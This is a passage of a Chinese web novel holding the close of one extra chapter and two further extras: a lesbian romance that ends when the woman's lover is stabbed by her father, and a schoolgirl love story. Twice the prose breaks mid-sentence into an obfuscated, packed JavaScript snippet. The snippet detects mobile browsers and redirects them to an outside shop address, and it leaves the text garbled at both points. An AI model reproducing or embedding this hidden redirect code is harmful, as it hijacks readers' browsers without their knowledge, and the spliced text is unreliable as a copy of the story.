阿清苦笑着,感慨真的不能做好心人,难得一次心软,就要把自己的命给葬送了。 这时,人群喧闹起来,有个衣着最华丽,身上饰品最多的人走了过来,小孩牵着她的衣角。 走近了,阿清惊讶地发现,除了肤色深许多外,对方的身材和长相和自己几乎一模一样,这大概就是小孩认错人的原因。 还差点真的被秦离说中了,小孩还真是拉她来登基的,只是可惜真王还在,她这假王下一秒就要被处死了。 要不是阿清很确定老爹的业务不太可能发展到这热带雨林来,真要怀疑对方是不是自己又一个姐妹了。 “你这小布丁,可把我坑死了。”阿清看着小孩,苦中作乐地说着。 小孩看看她,又看看身边的人,再看看她,一张小脸皱在一起,对着旁边疑似族长的人又开始叽里咕噜说小话。 阿清不知道她们做了什么,自己的身体现在完全动弹不得。 哎,也不知道定位器还在不在,警察能不能找过来,希望至少能给她收尸吧。 就是可惜不能和秦离一起庆祝三十五岁生日了。 阿清的脑子已经神游天外了,小孩和族长还在说小话,说到后面声音越来越大,几乎吵起来了。 最后,族长拍了拍小孩的脑袋,大手一挥,两个土著凶神恶煞地走了过来。 阿清心道吾命休矣,下一秒又被打晕了。 再醒来时,阿清发现自己回到了熟悉的村庄,警察们围着她,看她醒来松了口气。 阿清只觉得后颈痛得很,听警察解释,因为小孩很警惕,雨林里她们只能跟在她身后比较远的位置。那天傍晚,她的位置突然极速移动,定位器又被丢弃了,警察们搜寻许久,本来都绝望地准备回去上报了,突然在雨林边缘发现了她。 她们也不管什么消失的小孩了,连忙将她带了出来。 阿清猜想,或许是因为小孩的恳求,那群原始人才肯将她放走。 小孩找到家了,她也终于能回去了,也算是个圆满结局。 阿清坐上回国的飞机,在机场看见了早已等候多时的秦离和她带着的三米长的横幅。 三年之期已至,恭迎部落第一首领回国! 众人诧异的目光下,秦离迎了过来,嘎嘎乱笑。 阿清也无奈笑着,配合着接下她手上的横幅,和小妻妻一起开启她的庆祝之日。 她想,即使是飞鸟,一段旅途结束,也总要有个歇脚的地方。这里,她不需要表演,无论做了什么都是理所应当,都会被接受。 这个地方或许勉强可以称作家。 159. 番外七 崔明秀是她们这辈人里最叛逆的一个,否则也不会在被父亲逼婚甚至打伤了腿后,还硬扛着翻窗逃走,一路辗转跑到了安城。 她不想做的事,没人能逼她。 只有还有一口气在,她就总能活。她天不怕地不怕,没有任何事情能让她畏惧。 年轻人总是这样初生牛犊不怕虎,不知道世事无常,命运的尖刀柔软无形,总在不经意间往心上最致命处捅去。 和小侄女还有她爱人的又一次聚会后,崔明秀心中突然涌起一股冲动,买了张机票,飞去了安城。 这是当年的意外发生后的十年,她第一次踏上这片熟悉的土地。 不用任何导航,对如何走到邱玥的店,她早已烂熟于心。只是拐过弯去,那家棕色招牌的河粉店早已不复存在,取而代之的是一家精致洋气的咖啡厅。 在店主“欢迎光临”的年轻声音中,崔明秀踏进店里,坐在靠窗的位置。 十年时间,店面不知道换了多少主人,粉刷了多少次墙体,改了多少装潢,早已看不出当初朴素的模样。 崔明秀的目光透过玻璃落在门口的台阶上。 只有这里,她曾经饿晕过去的地方,依旧如初。 2002年的夏天,几经辗转的崔明秀终于来到安城——这个据说能依靠自己双手获得财富的地方。 当时的她没有介绍工作的老乡,没有任何身份证明,甚至差点被人贩子拐走,骗进卖身的地方。 好不容易逃脱的她流落街头,蓬头垢面,饥肠辘辘,已经三天没吃过东西了。 在路过一家河粉店时,她脚下一软,眼前发黑,直接载在店门口的台阶上。 完了…… 昏迷的最后时刻,崔明秀心中悲怆。 逃离了老头,最后却饿死在异乡街头,这就是她的命吗? 不知在黑暗中沉寂了多久,再有意识时,崔明秀只觉得自己躺在柔软温热的怀里,有人在给自己喂吃的,动作很轻柔。 那人的身上有股常年沉浸的厨房气息,却不难闻,反而让她觉得很安心。 崔明秀挣扎着睁开眼,看见抱着她的是个皮肤偏黑,身材瘦小的女人。 “你醒了。怎么样,还饿不饿,” 她的眼睛很亮,看向自己的时候笑着了,弯弯的像两枚月牙,带着皎洁的光辉。 崔明秀从未信过任何教派,但那一刻觉得她就是最神圣的天使。 吃饱喝足,崔明秀不舍得离开,死皮赖脸呆在店里,成了邱玥的小伙计,帮着她张罗店里,进货做饭上菜算账,虽然辛苦但甘之若饴。 她知道了这个救了她命的女人叫邱玥,只比她大两岁。 邱玥温柔内敛,说话轻声细语,是典型的安城本地人。她家在安城下面最偏远平穷的乡村,上面有一个姐姐,下面有两个妹妹和一个弟弟。姐姐嫁给了隔壁村的鳏夫,大妹妹帮着爸妈在家里干农活,估计今年也快嫁人了。小妹妹和弟弟都还小,还是读书的时候。 邱玥不愿多提,但崔明秀听得出来,这是一个比自己家还要更为糟糕的存在。 因为有一手做饭的好手艺,经老乡介绍,邱玥到安城来打工,后来又和人合伙支了个摊子,慢慢的发展起来,到现在张罗了这么个小店,一个月能挣点钱。 可惜,大部分钱都被她寄回家里,补贴家用。这也是爸妈没有催着她回家的原因,儿子日后读书结婚,都还得靠她这个姐姐帮衬呢。 崔明秀看着邱玥省吃俭用,什么都不舍得买,为此愤愤不平。但邱玥总说没事,她现在日子比以前好过多了,至少吃得饱穿的暖,也不会挨打受骂。家里养育自己这么多年,爸妈年纪大了,弟弟妹妹又还小,她多照顾他们点是应该的。 崔明秀一时说服不了她,气恼得不行。她知道邱玥在这个环境里活了这么多年,观念已经根深蒂固,但时间久了,总能改变的。 别样的情愫是什么时候产生的呢…… 大概是因为房子空间小,两人不得不挤在一张床上,每晚同床共枕的时候。 床不大,崔明秀睡姿又很不老实,总是霸道地占据了大半空间,睡得四仰八叉。 她浑然不觉,而邱玥总是一退再退,缩在属于她的那一小块地方,一次又一次不厌其烦地将崔明秀搭在她身上的手臂和腿放下去。 直到有一次邱玥不小心被挤下床,咚的声音吵醒了崔明秀,她才发现了自己的过分行为。 “怎么不叫醒我,或者把我推到旁边去呀。” “你白天这么辛苦,是该好好休息的。” “那你呢,你白天做那么多事,比我累多了。” “我没事的,有个地方睡就好,或者我打地铺也行。” 邱玥总是如此,习惯了照顾别人委屈自己。 “那怎么行!” 崔明秀心疼她,将她圈在怀里,紧紧抱着。 “这样就可以了。” 两人的身体紧紧贴合着,崔明秀能感受到邱玥温热的皮肤,轻柔的呼吸和她的心跳声。 她的神经跳了跳,脉搏不由自主加快。 邱玥拗不过她,无奈笑着闭上眼,在她怀里安睡。 好乖好乖。 一夜又一夜。 崔明秀无数次用目光描述邱玥的五官,沉醉在她身上的味道和微热的呼吸中。她能数清她的睫毛数量,知道她睡着时嘴唇会不自觉微张,唇珠微微凸起。 她已经如此熟悉她身体的形状和温度,靠近的渴望越来越强烈。 某个深夜,崔明秀终于忍不住,凭借本能凑了过去,含住了让她垂涎已久的唇珠。 这种感觉让她迷醉,不自觉加大吮吸的力度。 邱玥被吵醒了。 崔明秀的动作让她震惊,她猛地将人推开。 “你在做什么!” 她的声音从未有过的严厉。 崔明秀僵在原地,低着头不敢看邱玥的表情。 邱玥没有说什么,只是沉默着起身,套上外衣出门,一夜未归。 崔明秀的心落到了谷底。 第二天早上,邱玥如常出现,但神情冷漠地做事,不和崔明秀有眼神交汇,不和她说一句话。 被讨厌了…… 崔明秀心中充满懊悔,悔恨自己因一时冲动毁了一切。 晚上邱玥选择打地铺,这样冷冰冰的关系维系了三天。 崔明秀受不了了。她不想这样被无视,更怕再做什么会让邱玥的厌恶变得更深。而她心中的爱意和欲望也因那一次的释放而彻底膨胀,无法抑制。 终于,她背着为数不多的行李,选择了离开。 或许,早就该离开…… 这一离开就是半年。 凭借这两年积累的微薄人脉,崔明秀找了个厂里做电子零件的活。为了麻痹自己,她每天早出晚归,深夜回到厂房宿舍倒头就睡,强迫自己不让自己想到邱玥。 本来以为余生或许就这么浑浑噩噩过下去了,冬日最冷的这天,疲惫的一天的她走回宿舍,却看见了邱玥的身影。 邱玥比上次见面瘦了好多。看见崔明秀,她的眼眶泛红,又将泪水忍了回去,只是对她说:“这里太辛苦了,回家吧。” “……好。” 崔明秀没有问邱玥是怎么找来了,为什么要找来,就这样跟她回去了。她无法拒绝邱玥的任何请求,何况是她的主动靠近。 回去后,崔明秀发现邱玥清理了楼上部分杂物,另外支了张小床。她对崔明秀的靠近和亲密接触变得很敏感,有时候甚至是崔明秀的无心之举,也会让她反应过度。 崔明秀心中隐隐升起一股期盼。 她不再冒失,像猎人般小心翼翼靠近,一点点软化邱玥的心。 她能感觉到,对方对自己也并非毫无感觉。 这样的日子过去了一天又一天,一月又一月。终于有一天,崔明秀在深夜再度爬上邱玥的床,抱住让她日思夜想的躯体。 邱玥背对着她,被抱上的那一刻身体颤了颤,崔明秀才意识到她没睡着。 崔明秀有些害怕,但邱玥多日来的默许给了她勇气,她大着胆子吻上了她的后颈。 邱玥颤抖得更厉害了,半天才道:“我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370289|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能这样……” “可我喜欢你,真的好喜欢好喜欢,我想和你永远在一起。” “我们这样……是不对的……” “有什么不对,我们又没伤害其他人。我不在意其他人,我只在意你是不是也喜欢我。” “……” 崔明秀看似淡定,心中紧张得不行。她一咬牙,狠心以退为进:“如果……如果你厌恶我这样,我离开就是了。” 状似离开的动作被邱玥拉着她的手阻拦。过了许多,才有个轻微的声音:“别走……” 崔明秀飞快地缩了回去,将邱玥抱得更紧了。 “我们关起门来好好过日子,不碍着任何人。” 邱玥没有回答,也没有说喜欢,但崔明秀已经满足了。 后来的一切都水到渠成。 一年又一年,邱玥从一开始的紧张到后来逐渐放松,慢慢的,给崔明秀的回应也越来越多。 两人的第一次旅行,去的是安城的海边,在夕阳的余晖中,崔明秀第一次听见了那句“喜欢”,泪水控制不住地往下流。 邱玥边害羞但温柔地为她拭去眼泪,边道着歉:“抱歉,让你这么难过。” “不是,我是开心!太好了,真的太好了!” 她们在橙黄色的光辉中交换了第一个真正的吻。 因为有了爱人,世界的一切都变得有意义。 从厂里到自己的销售线,崔明秀做起了电子零件的生意,开始赚些小钱,两人攒着钱,买了间小房子,有了属于她们的家。 为了崔明秀,为了两人的家,邱玥也是第一次反抗家里,减少了打回去的钱。 崔明秀不止一次听到邱玥和家里人争执,或者说被单方面谩骂。但她那时候更多为邱玥站在自己这边沾沾自喜,怂恿她彻底跟家里断绝关系。 后来她才意识到,祸端早在那时候就埋下了。 她们一起度过了许多时光,累积了许多美好回忆。这些都在那场意外之后,成为崔明秀余生不断反刍的点点滋味。 那些美好时光里,她们无数次水乳交融。邱玥和家里的联系越来越少,她们的家布置得越来越好,崔明秀甚至带着邱玥回了一次老家,大胆地向所有人彰显她们的关系。 她越来越无所顾忌,恨不得向全世界宣告自己的爱人。即使邱玥曾经隐晦地表示两人还是低调点更好,却终究不愿扫了她的兴致。 意外发生在一个很普通的日子里。 崔明秀忙完生意上的事,到家时发现来了两个陌生人,指着邱玥的鼻子痛骂。 是邱玥的爸妈。 他们不知道怎么找到了两人的家里来,怒斥邱玥这些年来的“狼心狗肺”之举。而邱玥如同多年前那样,只是默默承受着。 崔明秀也是这时候才知道,邱玥并非和家里断绝了关系,也并未停止打钱,只是减少了量。 邱玥不敢抬头看自己的亲人,也不敢抬头看她。 崔明秀哪舍得责怪她,更是对她爸妈的自私和贪婪而愤怒。她毫不留情地反骂了回去,激起对方更盛的怒火。 “是你,就是你这个坏女人带坏了我的女儿。还有你们这有悖伦理的恶心关系,活该被千人指万人骂,就该拉去沉塘。” 火药味越来越浓。语言上的冲撞不知不觉发展成肢体上的碰撞,邱玥的父亲拿起了水果刀,刀刃朝向崔明秀,却刺进了邱玥挡在前面的身体里。 “小玥……小玥!” 罪魁祸首早跑没了踪影,崔明秀惊慌失措,将邱玥送到医院,却终究没能挽回爱人的生命。 后来,崔明秀才知道,是自己毫无遮掩的姿态,让她们的关系通过一人又一人的传播,落在了那两个畜生耳中,让经济窘迫的他们寻着味追了过来。 即使她后来让两人付出代价,但失去的,已经永远失去了。 崔明秀走在海边,脚上倘着冰冷的水。手机亮起,屏幕上依旧是她和邱玥在夕阳下的合照,但太阳的余晖不会再洒在她身上了。 她的心已随着逝去的爱人永入黑暗。 她的世界再无光芒。 160. 番外八 见过吕颖的人,没有谁不印象深刻。 她个子高高的,不爱说话,不怎么和人交谈,表情始终淡淡的,好像对什么都不感兴趣。她外形高冷,超凡脱俗,像是不食人间烟火。她不怎么学习,平时总是坐在靠窗的位置画画,但每次成绩出来总是第一。 学神和女神的双重buff让同龄人看见她都不自觉产生憧憬的心情,不敢轻易靠近。 齐悦也是其中一员。 但她最近开始悄悄观察吕颖,自觉比其她任何人都更接近吕颖。 因为她发现了吕颖的秘密,原来对方和她是同类啊。 从幼儿园时期在班上最乖的女孩子脸上吧唧亲了一大口后,齐悦的性取向就已经固定得死死的了。 她家庭和睦,母父都很开明,但涉及喜欢女生这种大事,她还是不敢轻易告诉妈爸。 会被打死的吧! 所以这个秘密一直藏在她心里,没敢告诉任何人。 胆子最大的时候,她也不过是在手机上搜些女女的文章和图片,看完后第一时间删除历史记录。 发现吕颖的秘密是个意外。 齐悦还记得,那是个阳光明媚的夏日午后,第一节课是数学课,老黄在讲台上唾沫四溅,黑板上写满了公式,所有人都昏昏欲睡。 因为生理期肚子痛,她和好友换了座位,远离风扇,跑到最后一排靠窗的位置趴着,缩成一团,慢慢挨过小腹下坠的痛感。 用抱枕抵着肚子,感受着阳光晒在背上暖烘烘的,疼痛被驱散,齐悦头抵着笔袋,被一堆撂得高高的书围着,慢慢陷入沉睡。 再醒来时,教室灯都关上了,空无一人。 齐悦额头上印着笔袋拉链的形状,呆呆盯着黑板,半天才后知后觉,原来已经到三四节体育课了啊。 她打了个哈欠,懒懒的不想动。 这时,一阵风通过大开的窗户吹了进来,靠窗几个座位上的书被吹动,前座书里夹着的一页纸飞了出来,落在地板上,眼看就要被吹向更远的地方。 齐悦动作迟缓地站起来,赶在那页纸越吹越远前捡了起来。 捡起来的瞬间,她愣住了。 这是张画纸,上面画了两个兽耳的女孩子抱在一起亲吻着,津液勾连,其中一人的手伸进了另一人的下/身衣内,显然有更加隐秘的动作。 这是…… 齐悦还没反应过来,突然察觉有道视线落在自己身上。她抬头,看见吕颖站在教室门口看着她,眼神晦暗不明。 齐悦一下子紧张起来,将画纸藏在身后:“这不是……我不是……” 她大脑嗡嗡的,语无伦次,赶紧转身想将画纸夹回书里。 书本翻开着,她看见正中间有清秀的字体写着——吕颖。 齐悦终于知道吕颖刚刚为什么要这样看着自己了。 这时,吕颖走了过来,从她手里拿过画纸,坐下一言不发。 齐悦脸颊泛红,但不想吕颖误会,结巴着解释:“对不起,我……我不是故意的。刚刚风把画纸吹飞了,我去捡才刚好看到……” 话说到一半,她恨不得打自己一个嘴巴子,还不如不说呢。 尴尬蔓延。 这时,像是为了证明齐悦的清白,一阵更强劲的风吹了过来,所有书被吹得哗哗直响,又有几页纸被吹起来。 吕颖动作慢了拍,齐悦眼疾手快,抓住了空中的两张,一眼便看见上面更大尺度的画。 啪—— 有什么东西在鼻腔里流动着,滴落在画纸上。 齐悦看见吕颖用诧异的眼神望着自己。她吸了吸鼻子,一抹,手指上瞬间出现一道红,画纸也被弄脏了。 “对……对不起!” 齐悦脸胀的通红,将画纸塞给吕颖,转身夺门而出。 背后似乎有很轻的笑声,又像是错觉。 这之后,齐悦总忍不住偷偷观察吕颖。 对方也是弯的吗?应该是的吧,不然不会画那样的画。天啊,自己那天的举止太冒犯了,怎么还流鼻血,把画也弄脏了,对方不会觉得她是个色魔吧! 齐悦窘迫尴尬,但又有一丝欢愉,为她终于在现实中也遇到了同类而欢喜。但吕颖这么优秀又好看的人,即使是在同性中也相当受欢迎吧。 只可惜,自己一定在对方心里留下了很糟糕的印象。 齐悦心里七上八下,希望吕颖记住自己,又害怕她记住自己。 偏偏那天之后,吕颖看着跟之前没什么不同,依旧神情冷淡,没有给齐悦一丝多余的目光,好像什么都没发生一样。 齐悦又羞又恼。 而齐悦越观察,越发现吕颖身上更多不为人知的地方。 原来,她的高冷并不是真的拒人于千里之外,而是单纯的……看不清人。 目睹了她好多次无视老师,又观察到她总是微眯着眼看黑板,齐悦才意识到,对方有些轻度近视,而且晚上看东西会更加艰难,因此不习惯跟大部队一起行动。 她觉得这样的吕颖有些可爱。 这天晚自习下课,大家收拾书包三三两两往外走,吕颖又走在最后。齐悦给好友打了个你先走的手势,又静悄悄跟在吕颖身后。 今晚黑云翻滚,将月光遮得严严实实。校园里的路灯不太亮,还坏了两个,让人看不清路面。 两人隔着不远的距离,一前一后走着。 齐悦心里吐槽着自己好像个STK①,但又忍不住想再多看会吕颖,再靠近些。 哎,要是能和她说说话就好了。 出校门后两人就要分道扬镳了,齐悦格外珍惜这段独处时光——即使只有她一人知晓。 突然,她眼尖发现前方地块的颜色隐约不太一样。她记得那个位置不是有个坑吗,前几天还立着牌子写的施工中呢。牌子呢?周围的防护带呢? 糟糕! 看着吕颖丝毫没有察觉,齐悦就知道她一定没有看见。 “小心!前面是坑!” 齐悦往前飞奔,却赶不及阻止吕颖,只拉住了她的手,眼睁睁看着她踩进坑…… ……坑? 吕颖脚踏实地站着,另一只自由的手推了推眼镜,没说什么,但是看向齐悦的眼神有些莫名。 齐悦这才发现她踩在颜色更深的土块上,显然那个什么坑早就被填好了。 “哈哈… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370290|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …哈哈……” 齐悦尴尬地笑着,想用手摸鼻子,才意识到自己还牵着对方的手呢。 她慌忙松手,这下连笑都笑不出来了。 “抱歉!是我搞错了……” 啊啊啊啊—— 齐悦表面腼腆,内心哀嚎,怎么老是在对方面前出丑啊! “没关系。” 吕颖轻声笑着,声音如玉石般温润。 真好听啊…… 齐悦沉醉其中,又露出傻乎乎的样子了。于是她听到了更多让人心动的笑声。 “你是叫齐悦是吧?” 齐悦呆呆点头。 “要一起回家吗?” 齐悦现在只知道点头了。 她跟着吕颖往外走,心脏噗噗直跳,稀里糊涂就已经把自己的所有事全部交代清楚了。 吕颖上公交车前,两人交换了联系方式。 “我车到了。你还挺可爱的,下次我们再一起聊天吧。” “好……好哦。” 齐悦晕乎乎地跟她挥手,等到车开远了,才后知后觉,自己怎么走到一个离家更远的地方了! 而且……完全错过家里饭点了啊!!! 忽略到家后老妈的咆哮不说,这之后,周围人诧异的目光里,齐悦和吕颖的关系变得亲近起来,成为她唯一的朋友。 齐悦也看了吕颖许多画,知道她私下会给许多杂志供稿,上次无意间看见的那些画纸不过是一次大胆尝试,也是当时准备的某个系列,最后当然没有投出去。 所以她到底是……还是不是啊…… 深夜,齐悦缩在小被子里纠结。 齐悦对感情和情绪都很敏锐,很快便意识到自己喜欢上吕颖了,很喜欢很喜欢。 她心里憋不住事,在冬日的小雪中,忍不住向吕颖表白了。 表白后,齐悦满脸通红,低着头不敢看吕颖的反应。吕颖却只是愣了一下,很快便笑着应道:“好啊。” 齐悦猛地抬头,不敢置信,还要再三确认:“我说的是喜欢,爱情那种喜欢!” 吕颖点头,凑近了,在齐悦的脸颊上蜻蜓点水,然后似乎觉得挺有意思,又在她的唇上点了一次。 “我知道。” 齐悦愣住,然后突然爆发出欢呼,一把抱住齐悦,在她的颈窝上蹭来蹭去。 “喜欢你,小颖,我好喜欢你!”她看着吕颖,眼睛亮晶晶的,“所以,我们现在是恋人了吗?” 吕颖再次点头。 于是齐悦撒欢得更厉害了。 “怎么总是这样傻乎乎。” 吕颖的语气宠溺,笑着摸了摸齐悦的头。 “我哪有!” 齐悦一点没有说服力地反驳着,眼巴巴凑过去,渴望更多。 月光之下,雪花在昏黄的灯光里翻滚着,落满了两人的发。 两个女孩相拥着,冰冷的唇触碰在一起,心脏炽热地跳动着。 青涩的果实在最美好的时光里生长着,这一刻,不必考虑未来,不必为一切现实烦忧,有的只有当下。 全世界,齐悦最喜欢吕颖。 全世界,吕颖最喜欢齐悦。